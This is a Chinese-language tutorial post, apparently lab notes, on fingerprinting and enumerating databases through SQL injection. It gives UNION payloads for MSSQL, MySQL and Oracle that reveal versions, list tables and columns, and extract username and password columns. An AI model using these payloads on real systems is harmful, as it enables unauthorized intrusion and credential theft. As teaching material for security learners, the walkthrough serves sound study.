Examining the database in SQL injection attacks
Posted Zeker62
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Examining the database in SQL injection attacks相关的知识,希望对你有一定的参考价值。
利用SQL注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库包含哪些表和列的内容。
Querying the database type and version查询数据库类型和版本
不同的数据库提供了查询其版本的不同方法。您通常需要尝试不同的查询以找到一个有效的查询,从而可以确定数据库软件的类型和版本。
用于确定某些常用数据库类型的数据库版本的查询如下:
- Database :type Query
- Microsoft, mysql : SELECT @@version
- Oracle : SELECT * FROM v$version
- PostgreSQL: SELECT version()
例如,您可以使用具有以下输入的联合攻击:
' UNION SELECT @@version--
这可能会返回如下输出,确认数据库是Microsoft SQL Server,以及正在使用的版本:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
但是特殊的事情是,如果你想查Oracle,需要使用如下语句;
' union select banner,null from v$version --+
查MySQL和MS就很方便了:
' union select @@version,null --+
或者
' union select @@version,null #
Listing the contents of the database列出数据库的内容
大多数数据库类型(Oracle除外)都有一组称为信息模式的视图,提供有关数据库的信息。
您可以查询 information_schema.tables
以列出数据库中的表:
SELECT * FROM information_schema.tables
返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
此输出表示有三个表,称为Products, Users, 和 Feedback.
然后,您可以查询 information_schema.columns以列出各个表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
返回如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
此输出显示指定表中的列以及每列的数据类型。
例如,爆表:
' union select table_name,'a' from information_schema.tables --+
爆列:
'+UNION+SELECT+username_welonw,+password_upnshv+FROM+users_dmpork--
Equivalent to information schema on Oracle相当于Oracle上的信息模式
在Oracle上,您可以通过稍微不同的查询获得相同的信息。
您可以通过查询all_tables 来列出所有表:
SELECT * FROM all_tables
您可以通过查询来all_tab_columns列出所有字段
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
例如可以这样查询:
' union select 'a','a' from dual --+
' union select table_name,null from all_tables --+
' union select column_name,null from all_tab_columns where table_name='USERS_STTZWE' --+
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_STTZWE'--
' union select PASSWORD_OSPPPG,USERNAME_TSFYLA from USERS_STTZWE --++
以上是关于Examining the database in SQL injection attacks的主要内容,如果未能解决你的问题,请参考以下文章
hdu 3625 Examining the Rooms —— 第一类斯特林数
HDU 3625 Examining the Rooms:第一类stirling数